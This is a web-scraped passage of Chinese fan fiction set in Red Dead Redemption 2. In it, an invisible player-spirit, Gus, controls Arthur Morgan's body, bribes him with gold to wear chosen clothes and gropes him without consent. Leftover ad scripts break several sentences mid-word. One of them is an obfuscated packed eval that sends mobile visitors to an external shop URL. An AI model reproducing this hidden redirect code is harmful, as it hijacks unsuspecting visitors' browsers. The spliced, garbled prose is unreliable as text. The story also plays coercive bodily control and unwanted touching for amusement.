他高,且壮,还被常年的马背生活和亡命徒生涯打磨出一股独特的粗犷气质,仿佛未经驯化的荒原之魂。即便穿着新衣,静立不动,也散发着一种令人不寒而栗的压迫感。有如一头蓄势待发的猛兽,不需任何言语或动作,单凭存在,便足以让人感到畏惧。 但,古斯现在只是一个视角,亚瑟甚至感觉不到他镜头的所在。 古斯光明正大地绕着亚瑟转了一圈,重点观察亚瑟领口深沟。不仅没有感到丝毫亚瑟企图散发出的威胁,还有点想笑。 “没错,我想这么干很久了。”古斯无赖地说着,重新对准亚瑟的脸:“总得有谁在你身上留下点好标记,免得你身边尽是那些会把你拖进泥潭的玩意。” 金褐短发的男人环起了胳膊。 “看来我真是把你迷得神魂颠倒了,嗯?”他嘲讽地说,“可惜,除了在我脑子里叨叨,再通过我耍点你们邪祟的小把戏,你那没实体的爪子还能做到什么?” “尖酸刻薄的摩根先生,你的挑衅很不明智。”古斯玩味地说,“尤其当你身处窘境,我以为你会克制一些。” “窘境?”亚瑟重复,摇了摇头,“你是指你的快乐老家么,古斯?告诉我,每次你耍你那些邪门把戏,是不是都在提心吊胆,生怕又闹出什么乱子来?” “哎,你赢了,你赢了,说不过你。”古斯夸张地叹口气,语气中的虚伪显而易见:“我还有几套适合你的衣服,就当是赔罪好了。” “原谅我,亚瑟,毕竟这是你的第一次,难免会有些不适应。如果太痛,你可以叫出来。” 亚瑟冷笑一声,上身一斜,干脆地靠上镜边的墙。肩膀与木质墙板相碰,双臂间饱满的胸肌顿时随之一震。 “好吧,邪祟,如果你非要这么说,那么,这就是我们的第一次。”男人更深更重地叹出口气,“真可惜,这么有纪念意义的日子,我却只能感觉到我自己的手。” 他斜眼盯着镜子,古斯盯着他。一时间,他们谁都没有说话。但他们都知道,战争开始了。 “如果你能忍住不叫,”古斯冷冷地说,“这些衣服就都是你的。” “一言为定,邪祟。”亚瑟嗤笑,神情轻蔑,“我会把这堆布当做营地资金捐了。别太小气,行吗?” “你的东西,你处置。”古斯冷笑。即刻构想E键。 熟悉的衣柜界面瞬间展开,目录如瀑布般滑落。黑色翻领衬衫被选中。亚瑟的手继续解起扣子。古斯镜头拉近,再拉近,继而毫不意外地发现,亚瑟前胸那片浅淡的暗金色毛发,就像遭遇龙卷风的麦田,全都和布料纠缠在一起。其下的肌肉因此被轻轻拉起,然后—— “——唔。” 很低很沉的一声哼,仿佛是从这具强悍身体深处酿出来的烈酒。衬衫脱离身体,毛发脱离皮肤,而皮肤迅速晕开一片轻微的红晕。 “恭喜你。亚瑟。”古斯赞赏,暂时退出控制,“第一件,你勉强赚到了。但我给你准备了很多。” 亚瑟慢条斯理地披上新的黑衬衫,不知有意还是无意,依然如先前那样敞着三个扣。随即,男人微微昂起了下巴,带金环的锐利蓝眼扫过整个房间,既像在寻找他的眼睛,又仿佛一头正在评估对手的狼。 “来吧,邪祟。”男人嘲讽道,“让我看看你那高贵的衣柜还藏了多少好东西,别告诉我你这就没劲了。” “很有勇气,牛仔。”古斯低笑,“但我们还没到艰难的部分。” 再一次,衣柜界面在虚空中展开,像是一本正在翻阅的魔法书。古斯的目光在众多选项中游走,最终随意选中一条深色长裤。与此同时,仿佛受到某种无形力量的牵引,亚瑟的手也伸向身上固定裤子的皮背带—— “——!” 一声更含糊的闷哼,但音节在发出之前,便被紧咬的牙关尽数吞没,化作一声几不可闻的气音。男人的喉结上下滚动,胸膛剧烈起伏,粗重的呼吸声在寂静的房间里格外清晰,如同一头正在蓄势的野兽。 然后,慢慢地,这头漂亮又结实的野兽直起身,活动了一下肩膀,仿佛是在甩脱痛苦的桎梏。锋锐的蓝眼重新对上镜面,嘴角也勾起不屑的弧度: “就这样?”他挑衅似的偏过头,“这就是你的全部本事?老天,我还以为你能给我点真正的挑战啊,邪祟先生。” 他站在那,宛如一棵扎根大地的橡树,又像是一头巡视领地的雄狮。挺拔,骄傲,而且不羁。古斯笑起来。 “哦,亚瑟·摩根,我当然能给你那些所谓‘真正的挑战’,”古斯玩味地顿了顿,“比如,让你不眠不休骑一周的马,直直冲进某些传说动物的领地。一路不管你如何咒骂诅咒,只给你灌药。” 亚瑟挑起眉毛,那双锐利的蓝眼直视镜中的自己,仿佛要穿透镜面直达古斯的所在:“那你怎么确定,在你操控我和我的马送死之前,我不能把你轰成一堆见鬼的邪祟渣?” 古斯叹出口气:“大概因为你一直傻乎乎地看着镜子,而我其实一直在你的背后。” 话音未落,男人的身体瞬间绷紧,手如闪电般滑向腰间。左腿为支点,右腿迅速移动。当枪套的搭扣应声而开,他完成了一个干净利落的转身,手指也熟练地勾住扳机,枪管精准地指向身后虚无的空气。 “那么,朋友,”他的声音低沉而危险,“现在,你在哪?” “很遗憾,”古斯轻笑,“还是在你的背后。亚瑟,三周又一天了,看着你每次想指我,都只会指向自己,实在是非常可爱——就像一只追着自己尾巴转圈的大型犬。” 亚瑟脊背微僵,肌肉在衬衫下绷紧,却没放下枪。他缓缓侧过头,鹰隼般的蓝眼透过余光扫视镜子,试图捕捉任何异常。 “再往上一点,亚瑟。”古斯饶有兴致地提醒道,“我在你头顶上。” 亚瑟猛地抬眼,目光掠过瓦伦丁旅馆天花板上斑驳的水渍和尘灰,扫过褪色的墙纸和陈旧的灯具,最后落向镜中自己——一个举枪对着空气的亡命徒,浑身杀意,满面风霜。即便刚洗过澡,又换了全套崭新的好衣服,亚瑟·摩根依然像是一头随时准备扑击的兽类,依然不像文明社会的一份子。 没有什么神秘邪祟的真身,也没有任何超自然的现象,只有一个普通的、略显破旧的旅馆房间,以及在阳光中缓缓飘舞的空气浮尘。 “你很会躲藏啊,邪祟。”亚瑟冷笑,“看来你不只是会玩弄你的那些小把戏。怎么,不敢现身和我面对面么?” “我一直就在这里,亚瑟。只是你无法察觉我。”古斯懒洋洋地说,“今天才把话说开,不过是我才发现,你穿着我给你的衣服,比你那些破破烂烂的行头好看多了。” 亚瑟嗤笑一声,随手收回枪。“好看?我?”他摇头,“我算明白了,你为何总在那浪费我的子弹。你真该检查检查你的眼睛了,古斯。” “呵,我很怀疑我现在还有什么眼睛可言。”古斯笑了笑,“话说回来,亚瑟,你这样扭着脖子不累么?” 亚瑟微微眯起眼睛:“你不是在我背后?” “默认盯着你的背后,但我可以转。”古斯慢悠悠地说着,让镜头从亚瑟的背肌移向亚瑟敞开的领口。 经过这几周的观察和实验,古斯已经确定,当游戏规则和现实规则产生冲突,就会发生某种程度的中和。比如,只要他操作亚瑟,打开存档背包,那么包里的食物和补剂就能带来设定效果——但只限定于亚瑟本人,事后也只能补进食物。 所以,刚才的突发状况,大概是正常游玩时不能裸奔这一规则的体现。 镜头移近,再近,能看到那些暗金的稀疏毛发已被绞得干干净净,曾经如多汁猕猴桃般的胸肌,现在变成了两块泛红的白面包。 “啊,”古斯满意地赞叹,“我的品味真不错。” 随着这声感叹,白面包立时收紧——亚瑟伸出手,在空气中抓了一把。又一把。 他当然什么都没碰到,这个动作也让他看起来有些滑稽,但男人的表情依然严肃。“伙计,这就是你变成邪祟之后的新爱好?”亚瑟讽刺道,“因为自己没法穿,就开始折腾别人?真可怜。” “随你怎么说,亚瑟。”古斯毫不在意,“我有一个宝贝,想让你看看。” 跟着他一起穿来的存档,是他花费时间最多的那个,也是他精心打理的养老休闲档——主线进度不关他事,反正猎物、武器、服装应收尽收,至于能偷的帽子、香烟卡、金条这类物 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 件,更加不可能放过。 “该死的。”亚瑟低声咒骂。感到一股无形的力量再度接管了身体,就像之前无数次那样,它牵引着他的胳膊,让他背上背包,继而打开。 也是第无数次,亚瑟试图抵抗,肌肉绷紧,额角渗汗,但收效甚微:“你就不能像个正常人一样说话么?非要玩这些该死的把戏——” 他突然一顿。 指间传来一种熟悉的触感——某种冰凉、沉重的金属。 作为范德林德帮多年来的主力,亚瑟很熟悉这种质感;作为一个逃亡中的通缉要犯,他也很熟悉自己的背包。这东西不可能出现在他的包里。但就像那些永远保持在最适口温度的各式烤肉,永远青翠完整的草药,永远新鲜可口的水果那样,当古斯“操作”他,它们就这样不讲道理地出现了。 他的胳膊缓缓从包中抽出,手中多了一块闪亮的金子。它的份量让他的手微微下沉,也让他迅速估算出它的重量、尺寸和大致价格——五百到五百五十美元左右,取决于它的精确克重,以及在哪个市场和哪个商人谈价。这笔钱足以让范德林德帮的营地改善不少,也能换来充足的补给和至少几周的安宁。 金条在他的掌心中翻转,从左手滑到右手,然后又神奇地消失在背包里,仿佛从未出现过。 “你到底要干什么,邪祟?”亚瑟问道,声音远比他预想的效果要虚,还带着一丝让他懊恼不已的动摇。 “很简单,亚瑟。”古斯悠然回复,“我要求你穿给我看——每天按照我的要求搭配你的衣物。到下个月的这时候,它就是你的。怎么样?” 如果它是真货,那么就是一个月五百美金。亚瑟暗想。也许是五百五十。如果达奇知道…… 不。这事绝对不能被达奇知道。否则天知道达奇又会想出什么疯狂的计划。 “我怎么知道你不会让我挂上一身食肉动物诱饵,然后去狮窝当活靶子?”亚瑟冷笑道。 “真是没想象力啊,摩根先生。”古斯在他脑海里啧啧有声,带着某种让他难以理解的愉悦。“补充条款,你可以根据你的状态来接受或拒绝我的提议,但天数会相应延长。成交?” 亚瑟沉默了一瞬,眉头微皱。 “它是真金?”他问。 “鉴于我还是你嘴里‘古怪又落后’的邪祟,幻术目前不在我的研究范围。”古斯一本正经地答,接着嘲笑道:“就算它是假的,你有任何除了穿得好点之外的损失么?” 金褐短发的男人表情复杂。 “行吧。既然你坚持。”他摇了摇头,“成交。不过我得提醒你,我可不是什么好摆弄的玩具娃娃。要是你让我穿得太像个蠢货,我可不保证不会不小心把你的东西弄脏或者撕破。” 他环起手臂:“那么,先生,你今天想要我穿什么。” …… 傍晚时分,马掌望台的天空被染成橘红,将范德林德帮的营地笼上温暖的金光。 亚瑟·摩根带着两匹马,缓缓接近营地外围。一如既往,这些马匹都驮满了各种补给:新鲜的肉类散发着血气,急需的药物被仔细包裹,新购置的弹药在马背上发出沉闷的碰撞声,甚至还有几瓶上好的威士忌,玻璃瓶在夕阳下闪烁着琥珀色的光芒。 但更引人注目的是亚瑟本人。他穿了件面料精致的深色格纹短外套,配了领巾、白衬衫和深色长裤,头上戴了顶斜缀雕羽的宽檐帽,脚上靴子也锃光瓦亮。 这身打扮与亚瑟平日里的粗糙形象形成了强烈反差,负责放哨的比尔·威廉姆森眯起眼睛,一时间没认出来—— “谁在哪?站住!” “是我,亚瑟,你个蠢货。”亚瑟没好气地回答,声音中带着一丝不耐烦。“别傻站着了,来帮把手。” 进入营地范围,亚瑟利落地跳下马,但落地时身形一个踉跄,仿佛突然对自己的身体感到陌生。他调整了一下姿势,跨步的步态也比平时更加谨慎,似乎在适应某种微妙的变化。 比尔扬起了眉毛,慢慢走近亚瑟,上下打量着这身新装扮。 “呃……亚瑟?这是怎么回事?”他揶揄地问,“你发了笔横财,还是说,”他意味深长地一顿,双眼促狭:“有另一个男人深入了解了你的一切?” 7. TBC-0点后补完 范德林德帮是个小型匪帮。 尽管首领达奇·范德林德时常宣扬他们是在对抗腐败的系统,帮助弱小,而他们也确实会接济穷人,不对妇孺动手,保持着比其他匪帮稍高的道德底线,但本质依然是一伙亡命之徒。 他们抢富人和银行,黑吃黑其他匪帮,光顾政府机构和军事设施,终于在黑水镇碰得头破血流,丢失了赃款和地盘,折损了物资和得力干将,还引来了前所未有的追捕和通缉。残存的范德林德帮成员被迫穿雪山过荒野,勉强在树林掩映的马掌望台扎起了帐篷。 黑水镇失败的阴影依然笼罩着每个人,随时可能被发现的威胁如鬼魅般萦绕不去。近在眼前的饥饿和寒冷无情地侵蚀着营地的士气,所剩无几的公共资金更是让每个成员都惴惴不安。在这片愁云惨雾中,一个简直能说是改头换面的亚瑟·摩根,就仿佛是在冰冷海域倒下的鲜血,瞬间引来了一群饥饿的鲨鱼。 亚瑟一转眼,发现自己陷入同伴们的包围,每个人的眼神都像是跃跃欲试的猫,好奇、期待和若有若无的贪婪点亮了他们的脸。仿佛他带回的不是补给,而是什么值得挖掘的秘密宝藏。 这可不妙。若是单对单,亚瑟自问可以把他们每一个都回呛到七窍生烟。但此刻敌众我寡,把他们都激怒的后果只会是自己被扔出营地,再被背后的古斯大肆嘲笑。亚瑟不动声色,正要开口,一个瘦削的身影却在这时分开人群。 何西阿·马修斯,骗子,窃贼,范德林德帮的智囊和创始人之一,亚瑟某种意义上的养父之一,缓步向前走来。那双浅蓝色的眼睛透出感兴趣的目光,亚瑟只觉得危机感像是草原上突然升起的狂风,来势汹汹,席卷而至。 “晚上好啊,亚瑟,我亲爱的孩子。”何西阿和蔼地招呼,嘴角扬起一抹意味深长的笑,目光投向他身后的马匹。“看来你这次进城收获颇丰?” 亚瑟也扭头,落向那匹已栓在马位的新坐骑:一匹高大优雅的荷兰温血马。它的头和四条腿呈现近栗的深红,但鬃毛、马身和尾巴是光泽的银白。卖它的人说这种独特的毛色叫做巧克力沙,确实如同丝滑的奶油浇在融化的巧克力上。 “我本来打算带你去瓦伦丁的马厩,没想到你自己就找到了一匹如此出色的坐骑。”何西阿饶有兴味地说。 “还有崭新的马鞍和马镫。”一道带南方腔调的女声啧啧赞叹。是凯伦。帮派里的女枪手。她凑近来,视线从亚瑟跳到马位,又从马位跳回亚瑟:“老天,亚瑟,亲爱的,你看起来就像是我们平常抢劫的阔佬,我都想掏枪了。” “我打赌亚瑟是洗劫了哪个可怜的绅士,把人家榨得,干干净净,”负责放哨的比尔还是没走,脸上也还是那股意味深长的笑:“上帝保佑那家伙醒来不要太伤心。” 某个家伙睡还是醒,亚瑟不知道,但这家伙简直没完没了。亚瑟直接往前迈了半步: “噢,比尔,你只说对了一半。确实,是有个可怜虫,不过我可没榨干他。”他眯起眼睛,“我把他开膛破腹,敞开胸扉。你现在连夜赶去瓦伦丁,也许还能嗦到一口热汤。怎么样,有兴趣吗?” 他盯着比尔,比尔神情一僵,下意识地后退,粗壮的身躯似乎都缩小了一圈:“呃,哈哈,很风趣,亚瑟……哦,我回去放哨了,回见。” 说完,比尔几乎是落荒而逃。营地里的其他人纷纷干笑着上前帮忙卸货,像是要通过忙碌的双手来管住蠢蠢欲动的嘴。但亚瑟知道,这帮家伙的耳朵都竖得比兔子还高。要想不被流言蜚语缠身,光靠恐吓显然远远不够。 亚瑟一边熟练地解开弹药箱上的麻绳,一边镇定地介绍站在自己身旁的新马:“这匹马,曾经是叫……施瓦茨什么的。” “施瓦茨瓦德。”脑海里的邪祟冷不丁开口。“意思是黑森林蛋糕。” 亚瑟懒得理他,单手稳稳地卸下一个沉甸甸的弹药箱。“太拗口了。”他故意大声说,“我决定叫他黑朗姆。” “嘿!是我付的账!”古斯抗议。 一双晒成古铜 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 色的手在这时伸过来,接过了亚瑟手里的箱子。 是约翰·马斯顿。亚瑟视作兄弟的存在。此刻,他显然也嗅到了兄弟身上被钞票烘托出的气息。约翰一边帮忙,一边装作漫不经心地问:“那么……那匹马原来的主人呢?” 亚瑟耸肩,语气平淡得像在谈论天气:“正规购买,手续齐全——我碰巧在路上认识了一个慷慨的朋友。” 约翰挑起一边眉毛,深褐色的眼中闪过一丝怀疑:“这位‘朋友’还活蹦乱跳的吗?” 亚瑟脸上的表情依旧从容。 “哦,他活得好得很。活得一把年纪,连枪都不会打。”他摇了摇头。“可能正是因为这样又蠢又爱玩,这才被狼群当成了移动餐车。” 男人小心地卸下打包的药品,顺手拍了拍约翰的肩:“从这一点上,约翰,你比他强。不过从运气上,他比你好——至少他那张脸皮还完好无损地装饰在脑袋上。” 约翰一噎。 在帮派困于暴风雪肆虐的科尔根山脉时,出于某种说不清道不明的冲动,他孤身一人离开了营地,想着干脆带回猎物,或者就此分道扬镳。结果,他很快迷失了方向,精疲力竭,还被一群饿狼缀上,迫到了悬崖悬崖边缘。亚瑟和哈维尔救回了他,而他的左脸上也留下了永久的纪念品:几道狰狞的爪痕。 亚瑟的故事听起来合情合理,神枪手拯救惊恐的城中阔佬,阔佬感激涕零地赠钱赠物,多半还试着挖过墙角。但约翰总觉得其中有些微妙的不对劲,就像酒馆里一杯被掺了水的威士忌。 但……他一时也找不到更好的词回击。 “我就当你不存在,摩根。”年轻人悻悻地说,努力摆出一副满不在乎的表情,搬起酒箱快步走远了,脚步声在泥地上格外响亮。 “哈,看来马斯顿的嘴今天也没能升级成功。”古斯幸灾乐祸地目送他,继而更幸灾乐祸地将镜头移向亚瑟的屁股和腿:“真是抱歉,亚瑟,我们多做几次你就会适应的。要不要先坐下来缓缓?” 8. TBC 虽然强壮到能单手把人掐起来,又是臭名昭著的范德林德帮创始成员兼首席执行者,但亚瑟·摩根其实是个会写日记的男人。 他的日记字迹清晰不乱,还会穿插些素描插画:或是荒野中的一株植物,或是远方山脉起伏的轮廓,或是动物、路人乃至建筑的侧影速写。线条流畅有力,明暗对比鲜明,水平都相当不错。 被古斯绑上后,亚瑟一度暂停了文字的书写,只专注绘画。 但,不知是因发现完全无法甩掉“附身邪祟”,还是不想因对空气冷嘲热讽招来同伴的异样目光,亚瑟很快自暴自弃,日记本也多出一项职能——在不方便出声时继续和古斯吵架。 吵完一页,写了半页日记,又仔细地将这趟出门的个人所得与帮派应得份额算好、记入账本,亚瑟活动肩膀,脱掉外套,往铺盖一钻,丢给古斯一个被营地篝火映成暗金色的后脑勺。 不过,古斯知道这家伙只是闭起了眼睛,还没睡着。 不去揭穿这点小伎俩,古斯趁机抬起镜头。 范德林德帮此刻驻扎的地方是这片区域的制高点,名叫马掌望台。顾名思义,这是一块马蹄铁形状的山顶平地:三面都是峭壁,唯有一面可以进出,非常标准的易守难攻,还能将大半个大地之心的壮丽景色尽收眼底。 这里是许多玩家养老存档的首选地,其一是因为这片自然美景,其二是因为从上帝视角,这时帮派内部的裂痕尚未显现。营地虽然因物资和金钱的紧缺笼罩着一层淡淡的焦虑,可整体氛围依然融洽,人心未散。 黑老大达奇仍然是那个似乎有理想有底线的领袖,帮派成员们也都坚信着他的“计划”,相信艰难时刻终将过去,美好的未来就在前方不远。 但打游戏可以不理主线,永远自由游荡在广阔世界,现实里的时间却无法停留。按剧情原线,范德林德帮从此刻黄金岁月的最后余晖,到最终的分崩离析、作鸟兽散,也就一年时间。 亚瑟的生命在这动荡的一年中画上句点。此后,玩家的可操控对象便换作了约翰·马斯顿,也就是亚瑟的挚友兼兄弟,先前那个来帮忙搬运兼探听八卦的、脸上带狼爪疤痕的青年。 古斯锁定约翰。青年刚完成劈柴的差事,此刻正懒洋洋地窝在营地一角,打着哈欠欣赏着天际那抹渐渐下沉的夕阳。 和亚瑟初始造型差不多,这家伙穿着件饱经沧桑的外套、粗糙的工作裤和沾满尘土的靴子,腰间勒着这个年代做牛仔不可或缺的枪与子弹带,衬得有腰有屁股。 就是背影明显比亚瑟纤细了一圈。 除此之外,和亚瑟一样,这位神枪手的天赋、亡命徒的直觉乃至荒野生存的经验均对他失效——约翰对他投来的镜头毫无所觉,开始大大咧咧地挠起屁股……挠完还不忘凑到鼻子前闻。 ……有点傻愣愣的,真的。如果穿来时绑定的是约翰,根本不用费心琢磨如何将他哄出帮派。不出一周,约翰就能被轻松拐走;再来半个月,就能调理出一个顺心如意的摄像头架。 亚瑟不一样。亚瑟忠于老大达奇·范德林德,还把帮派视作家。 古斯不想赌亚瑟死亡后自己是否会像游戏那样自动操作起约翰。穿都穿来了,还天天看着那两条盘起来绝对很有力的腿在眼前晃,亚瑟不能死,也只能属于他。 可达奇的真实面目暴露前,对亚瑟基本就是养父、导师、领袖的叠加;而反过来,直到得知亚瑟染病的那一刻,达奇也都将亚 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 瑟视作得意的门徒,值得信任的左右手。 仿佛感知到古斯的纠结,原本侧躺着的男人忽然翻身平躺。 营地的枕头不过是几件套扎堆叠垫起的衣物,而亚瑟又拥有一个倒三角形态的背。往常,这样的姿势调整预示着亚瑟即将滑入梦乡,但这会儿,那对金环蓝眼倏然睁开,狐疑地盯着空气。 下一秒,亚瑟利落地支起身,熟练地摸索出那本束铅笔的日记本—— 【晚上好?】 古斯选择沉默。 等了片刻,见无声回应,男人又在本子上继续写道:【我有一种非常不妙的感觉,古斯,这就像是你在思考。】 古斯:“……” 操。 【我确实在思考。】古斯冷笑着回复,【我在想,如果达奇突然开枪打你,你会不会躲。】 男人扬了扬眉,脸上浮出一种可称嫌弃的表情。他的笔尖在纸上停顿了一下,仿佛在斟酌措辞:【就这个?】 【告诉我,亚瑟·摩根,你会不会躲。】 【不会。】亚瑟的笔尖笃定地划过纸页。【我们试验过了,不是吗?碰到枪击,都是你掌控我的身体。】 古斯一时语塞。 对哦。 纠结这个做什么。现实里可没有游戏里的友军豁免。亚瑟从犁刀村开始的天天往外跑,还不是怕自己一个手抖眼花,把帮派的兄弟们都突突了。 他莫名地愉悦起来,亚瑟笔锋却是一转: 【但你连让我找掩体都不会。出于这点,我更建议你放弃幻想,直接投降。】 古斯:“…………” 今日想踹亚瑟·摩根屁股的冲动,2/2。 TBC 9. TBC 亚瑟·摩根从未想过,自己有朝一日会浑身崭新衣装,却在深深思念那套破旧不堪的老搭档。 他的蓝衬衫,袖口因常年卷起已褪色;他的黄棕外套,肘部和肩头因频繁的活动已泛白;他的工作裤,虽然没磨白也没脱色,但已经比他购买时更深更亮……尽管如此,亚瑟依然坚信这些忠实的老伙计还能再撑个一年半载,说不定能一直陪他到达奇常挂在嘴边的那个什么天堂芒果岛。 结果古斯附上了他。 怎么会有人能在百步之外枪枪爆头,却对近在咫尺的敌人视而不见?能驾驭马匹攀上近乎垂直的悬崖,却在平坦大路上撞上树木和路标?能在眨眼间精准搜刮出每一分钱财,却总是在关键时刻摸不到趁手的武器? 古斯做到了。或者,更准确地说,被古斯操作的他做到了。他那可怜的衣箱里的所有存货都为此付出了惨重的代价。至于他自己……该死的。他已经能面不改色地扒下死人的衣服往身上套了,就像进杂货铺挑选补给一样自然。 哪怕那些衣服紧得勒人,又蹭上血迹和土灰,至少也不必向帮派同伴解释为什么自己外套像是被一群疯狗撕咬过,底下却连块皮都没蹭破。 “听着,伙计。”亚瑟板着脸,侧过头,努力对上后方古斯透露过的镜头所在,强忍着不低头怒视。 “我承认,你帮了我不少忙,我不介意陪你玩玩你那些古怪的伎俩。但是,你最好把你的条件一次性说清楚。” 身上的新行头干净,舒适,还见鬼的合身,亚瑟愿为此忍受失去某些毛发……问题是,今天遭到威胁的不只有他已被薅过两轮体毛的皮肤。自从装备上这一身,就一直像是有双无形的手,不断从他的背摸到腰,又从他的腰摸到背。 “我知道你是个刚从某个鬼地方冒出来的邪门玩意,”亚瑟咬牙切齿地说,“你那些稀奇古怪的念头我管不着。可看在上帝的份上——或者该死的撒旦的份上,随你信谁——你得把我要干的活说清楚。或者至少,把我会碰上什么邪门歪道的事提前打声招呼。” 他皱起眉,“要是在我跳火车的时候突然来这么一出,咱俩就只能在地狱里叙旧了。” 没有回应,只有微凉的晨风轻拂过高草,带来一阵沙沙作响。远处,一群鸟雀飞过灌木,欢快的歌声在晨光中飘荡。 亚瑟扭着脖子等了一会儿,烦躁地想去摸腰间的左轮手枪。想起某个诡异的邪祟根本没实体,只得恼火地环起胳膊:“……古斯?伙计?” “在呢,不好意思,有点走神。”熟悉的男声终于响起,“你说,是我在摸你?” 亚瑟冷笑:“除了你这邪祟和你那些邪门的东西,我身上可没有其他的可疑玩意。” “你现在有别的感觉吗?” “什么感觉?” “现在我的注意力,对着你的胸。”古斯饶有兴致地说。 话音才落,亚瑟的右臂立即松开,抬起,肌肉绷紧,指节弯曲,径自冲前——这迅猛而凶狠的抓握动作本该足以扼住任何对手,却只是徒劳地穿过了空气,如同在捕捉将散的晨雾。 男人的手在空中停顿了一瞬,困惑和恼怒阴云般掠过那张成熟的脸。然后,那只手缓缓收回,手掌半松半紧,随时准备出击,左手也有意无意地滑向腰间枪套。 不像普通人存在惯用手,亚瑟双手都能稳准狠地开枪。只要弹药跟得上,他能以一敌百,解决整支追兵。 “来啊,老伙计。”亚瑟开口,嗓音低沉,蓝眼冷然扫视四周,仿佛要以此将他逼出原形。“我可还没感觉到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13865678|145920||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你。” 古斯啧啧叹气。 “这就是你的问题,亚瑟。是你先声称,我在摸你,又无端地指责,我的行为给我们带来了风险。可事实上呢?从一开始就不对头的只有你。”古斯严肃地说,“另外,我要郑重声明,如果某天,我终于能和现实交互,我保证,我第一个摸的绝对是你的屁股。” “不敢想象,我以前竟然一直容忍你穿着你那些破烂在我眼前晃荡。从今天起,我要剥夺你穿长外套的权利。” 他一通输出完毕,这回没说话的成了亚瑟。 神枪手锐利的蓝眼此刻微微眯起,肩膀几不可察地轻轻转动,手却像粘住一样固在枪套上。毫无疑问,这家伙心中已升起了一丝杀意。而无论是作为一个身负悬赏的通缉要犯,还是一个将近一米九的□□杀手,他都有把任何威胁化为现实的能力。 然而,那张脸上隐约散发出的挫败感,那抿成一条直线的嘴唇,甚至是他因恼火而绷紧的下颌线条,只让古斯觉得更加有趣了。 “怎么?还急了?”古斯乐不可支,“亚瑟?亲爱的?摩根先生?你不是还想赚我的金条么?” “更加听话点,你才能赚到更多。摩根先生,你也不想你的帮派知道你在靠一个邪祟养着吧。” 为表强调,古斯颇有仪式感地调转视角,对准亚瑟被子弹带压着的挺翘屁股,把镜头想象成自己的手,十指大张,猥琐地重重一抓—— “——?!” 没有实际的声音,但那两块被包裹的肌肉仿佛受到某种实体的冲击,饱满的肌肉轮廓在深色布料下随之一颤。 古斯:“……!?” 古斯不可置信,本能地再度对准制高点,集中精神,尝试着再度戳一下那个结实的臀部—— 10. 升级 人是一种典型的视觉动物。 没谁在意一只小动物的张牙舞爪,但当一个接近一米九的结实男人堵在面前,大部分人都会立刻记起社交礼仪,变得客气、和善又好说话。 古斯猜测,自从亚瑟的好体格彻底长成,又练就一手出神入化的好枪法之后,恐怕已经很久没经历过如此的调戏。 以至于此刻,男人的表情中除了纯然的恼怒,还掺杂了几分的懵。恍如一头遭到两脚兽刺挠的壮年雄狮,眼中腾起的除了杀气,还闪烁着股这怎么敢的疑惑。 可很快,疑惑消失,怒火退潮,就连那因情绪起伏而绷紧的衬衫领口也放松了些许。亚瑟慢条斯理地将手枪塞回枪套。 “哦,瞧瞧,我们的邪祟朋友终于鼓起勇气问价了,是吗?”他轻蔑地说着,一边粗鲁地扯了扯衣领,仿佛在为即将到来的冲突热身。“你知道么,普莱尔先生,我刚才真想给你来上一拳。然后,我想起来,你连个能揍的影子都没有。” 男人摇摇头,似乎是被自己的冲动逗笑,继而按向嘴唇,打了个响亮的唿哨。 不远处,已经认了黑朗姆这个名字的荷兰温血马回以嘹亮嘶鸣,欢快地小跑过来。亚瑟轻拍马颈,旋即一把抓住马鞍,一个轻盈的跃身,重新回到了马背上。 “听着,伙计,你想摸就摸吧。”他满不在乎地耸耸肩,顺手拨转马头。“反正这些天,我也就勉强感受到你这么可怜巴巴的两下。说不定这还是你憋了一个月的成果,嗯?” 不等回应,亚瑟长腿一夹,黑朗姆立即开跑,默认追着他的镜头同时开始移动。绿草在他们身边飞逝,蹄声与溪水的潺潺声交织。古斯的视角随着马匹奔跑的节奏前行,似乎他也成了个骑术精湛的牛仔。 除了他遭到了无视。 又或者说,一种示威。 “还不忘挑衅我啊,摩根先生。”古斯低笑,浑不在意。“既然你这么说,我就当你同意了。” “来。”亚瑟跟着嗤笑。“用力点。我倒要看看,你那双虚无缥缈的爪子能不能让我的汗毛竖起来。” 话虽如此,男人的躯体却悄然倾得更前,接收到信号的黑朗姆再度加速。 ——亚瑟在紧张,而且在赌。赌他不会在疾驰的马背上轻举妄动。 但,这种算计全基于过去的经验,基于过去二十余天他刻意展现出的那一面。古斯饶有兴致地,想象着自己的手,按上亚瑟的后颈。那里被竖着的衬衫领和乱翘的暗金色发丝掩盖着,只露出若隐若现的一小截。 哗啦—— 马蹄踏入浅水,激起一片晶莹的水花。上游几头正在饮水的鹿受惊抬头,盯来警惕的一眼,白尾一翘,迅速跃入岸边的灌木丛。黑朗姆感受到水流的阻力,本能地放慢脚步,但背上的人类双腿夹紧。 马匹重新起速,溅起更多水声,亚瑟的声音也再度得意洋洋地扬起:“怎么了,邪祟?你那双鬼爪子是被水冲走了?” ——所以,这代表随意构想的抚触无效? 古斯若有所思,让想象中的手掌下移,从亚瑟后颈那块被西部阳光亲吻成浅蜜色的皮肤,缓缓探向亚瑟的背。 那里的肌肉恰到好处,既不过分夸张,又充满力量。锻炼得宜的背阔肌、斜方肌和宽阔的肩膀一起,构成了一个令人赏心悦目的倒三角形,并因此更强调了下方流畅的腰线,以及自己审美的正确——束身马甲,略收腰的长裤,相当完美地衬出这份力与美。 不过,亚瑟还是放松的。既没因紧张而僵硬,也没因警惕而绷紧,无形中证明了自己的“触碰”还是没到先前能引起反应的程度。 